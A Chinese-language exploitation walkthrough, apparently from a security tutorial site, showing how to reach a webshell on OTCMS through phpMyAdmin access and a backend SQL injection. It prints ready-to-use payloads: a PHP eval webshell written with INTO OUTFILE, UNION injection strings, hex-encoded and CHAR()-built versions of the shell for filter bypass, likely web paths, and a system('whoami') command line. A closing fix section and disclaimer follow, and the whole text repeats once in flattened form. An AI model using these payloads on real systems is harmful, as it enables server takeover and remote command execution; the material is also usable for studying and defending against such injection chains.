从PHPMYADMIN getshell到OTCMS后台 SQL getshell
字数 1261 2025-08-07 08:22:00

OTCMS 从 PHPMYADMIN 到后台 SQL Getshell 漏洞分析与利用

漏洞概述

本文详细分析了一个从 PHPMYADMIN 到 OTCMS 后台的 SQL getshell 漏洞利用链。该漏洞涉及 SQL 注入和文件写入权限,最终导致攻击者能够在目标服务器上获取 webshell。

漏洞利用链

1. PHPMYADMIN 访问

首先需要获取 PHPMYADMIN 的访问权限,这可以通过以下方式之一实现:

  • 默认安装路径访问
  • 通过信息泄露获取凭证
  • 其他漏洞获取数据库访问权限

2. SQL 注入点

在 OTCMS 后台存在一个 SQL 注入点,关键特征:

  • 注入点位于后台管理界面
  • 需要管理员或足够权限的账户
  • 注入参数未经过滤直接拼接到 SQL 语句中

3. 关键突破点 - 分号问题

作者最初遇到的主要障碍是关于 SQL 语句中分号的使用问题。经过尝试发现:

  • 某些情况下需要包含分号来终止语句
  • 其他情况下分号会导致语句执行失败
  • 需要根据上下文调整是否包含分号

4. Getshell 技术

通过 SQL 注入实现 getshell 的关键步骤:

  1. 确定可写目录

    • 通过 select @@secure_file_priv 确定 MySQL 导出文件权限
    • 寻找 web 目录的可写路径
  2. 构造文件写入语句

    SELECT '<?php @eval($_POST[cmd]);?>' INTO OUTFILE '/var/www/html/shell.php'
    
  3. 绕过限制

    • 使用 HEX 编码绕过过滤
    • 使用 CHAR() 函数拼接
    • 尝试不同的文件路径

详细利用步骤

步骤 1:获取数据库访问权限

  1. 通过 PHPMYADMIN 或其他方式获取数据库访问权限
  2. 确认数据库用户有 FILE 权限:
    SELECT file_priv FROM mysql.user WHERE user = '[username]';
    

步骤 2:定位 OTCMS 后台注入点

  1. 登录 OTCMS 后台
  2. 寻找可能存在 SQL 注入的功能点(如内容管理、用户管理等)
  3. 通过参数测试确认注入点

步骤 3:构造注入 payload

  1. 测试基础注入:

    ' AND 1=1 -- 
    ' AND 1=2 -- 
    
  2. 确认注入类型(联合查询、布尔盲注、时间盲注等)

  3. 构造文件写入 payload:

    ' UNION SELECT 1,2,3,4,'<?php @eval($_POST[cmd]);?>',6,7 INTO OUTFILE '/path/to/web/shell.php' -- 
    

步骤 4:处理分号问题

  1. 尝试不带分号的 payload
  2. 如果失败,尝试添加分号:
    '; UNION SELECT 1,2,3,4,'<?php @eval($_POST[cmd]);?>',6,7 INTO OUTFILE '/path/to/web/shell.php' -- 
    

步骤 5:验证 getshell

  1. 访问写入的文件路径:
    http://target.com/shell.php
    
  2. 使用 POST 参数 cmd 执行命令:
    cmd=system('whoami');
    

技术要点总结

  1. 权限要求

    • MySQL 用户需要有 FILE 权限
    • 目标目录需要有可写权限
    • secure_file_priv 不能设置为 NULL
  2. 绕过技巧

    • 使用 HEX 编码绕过过滤:
      SELECT 0x3C3F70687020406576616C28245F504F53545B636D645D293B3F3E INTO OUTFILE '/path/to/shell.php'
      
    • 使用 CHAR() 函数拼接:
      SELECT CONCAT(CHAR(60),CHAR(63),CHAR(112),CHAR(104),CHAR(112),CHAR(32),CHAR(64),CHAR(101),CHAR(118),CHAR(97),CHAR(108),CHAR(40),CHAR(36),CHAR(95),CHAR(80),CHAR(79),CHAR(83),CHAR(84),CHAR(91),CHAR(99),CHAR(109),CHAR(100),CHAR(93),CHAR(41),CHAR(59),CHAR(63),CHAR(62)) INTO OUTFILE '/path/to/shell.php'
      
  3. 路径探测

    • 通过报错信息获取路径
    • 尝试常见 web 路径:
      /var/www/html/
      /var/www/
      /usr/local/apache2/htdocs/
      

漏洞修复

开发者在最新版本中修复了此漏洞,修复措施包括:

  1. 对 SQL 查询参数进行严格过滤
  2. 限制数据库用户的 FILE 权限
  3. 增加对文件写入操作的权限检查

经验总结

  1. 分号在 SQL 注入中的使用需要根据上下文灵活调整
  2. 不要局限于单一思路,多尝试不同方法
  3. 与开发者合作修复漏洞是负责任的披露方式

免责声明

本文仅用于安全研究和教育目的。未经授权对系统进行测试或攻击是违法行为。请在法律允许范围内进行安全研究。

OTCMS 从 PHPMYADMIN 到后台 SQL Getshell 漏洞分析与利用 漏洞概述 本文详细分析了一个从 PHPMYADMIN 到 OTCMS 后台的 SQL getshell 漏洞利用链。该漏洞涉及 SQL 注入和文件写入权限,最终导致攻击者能够在目标服务器上获取 webshell。 漏洞利用链 1. PHPMYADMIN 访问 首先需要获取 PHPMYADMIN 的访问权限,这可以通过以下方式之一实现: 默认安装路径访问 通过信息泄露获取凭证 其他漏洞获取数据库访问权限 2. SQL 注入点 在 OTCMS 后台存在一个 SQL 注入点,关键特征: 注入点位于后台管理界面 需要管理员或足够权限的账户 注入参数未经过滤直接拼接到 SQL 语句中 3. 关键突破点 - 分号问题 作者最初遇到的主要障碍是关于 SQL 语句中分号的使用问题。经过尝试发现: 某些情况下需要包含分号来终止语句 其他情况下分号会导致语句执行失败 需要根据上下文调整是否包含分号 4. Getshell 技术 通过 SQL 注入实现 getshell 的关键步骤: 确定可写目录 : 通过 select @@secure_file_priv 确定 MySQL 导出文件权限 寻找 web 目录的可写路径 构造文件写入语句 : 绕过限制 : 使用 HEX 编码绕过过滤 使用 CHAR() 函数拼接 尝试不同的文件路径 详细利用步骤 步骤 1:获取数据库访问权限 通过 PHPMYADMIN 或其他方式获取数据库访问权限 确认数据库用户有 FILE 权限: 步骤 2:定位 OTCMS 后台注入点 登录 OTCMS 后台 寻找可能存在 SQL 注入的功能点(如内容管理、用户管理等) 通过参数测试确认注入点 步骤 3:构造注入 payload 测试基础注入: 确认注入类型(联合查询、布尔盲注、时间盲注等) 构造文件写入 payload: 步骤 4:处理分号问题 尝试不带分号的 payload 如果失败,尝试添加分号: 步骤 5:验证 getshell 访问写入的文件路径: 使用 POST 参数 cmd 执行命令: 技术要点总结 权限要求 : MySQL 用户需要有 FILE 权限 目标目录需要有可写权限 secure_ file_ priv 不能设置为 NULL 绕过技巧 : 使用 HEX 编码绕过过滤: 使用 CHAR() 函数拼接: 路径探测 : 通过报错信息获取路径 尝试常见 web 路径: 漏洞修复 开发者在最新版本中修复了此漏洞,修复措施包括: 对 SQL 查询参数进行严格过滤 限制数据库用户的 FILE 权限 增加对文件写入操作的权限检查 经验总结 分号在 SQL 注入中的使用需要根据上下文灵活调整 不要局限于单一思路,多尝试不同方法 与开发者合作修复漏洞是负责任的披露方式 免责声明 本文仅用于安全研究和教育目的。未经授权对系统进行测试或攻击是违法行为。请在法律允许范围内进行安全研究。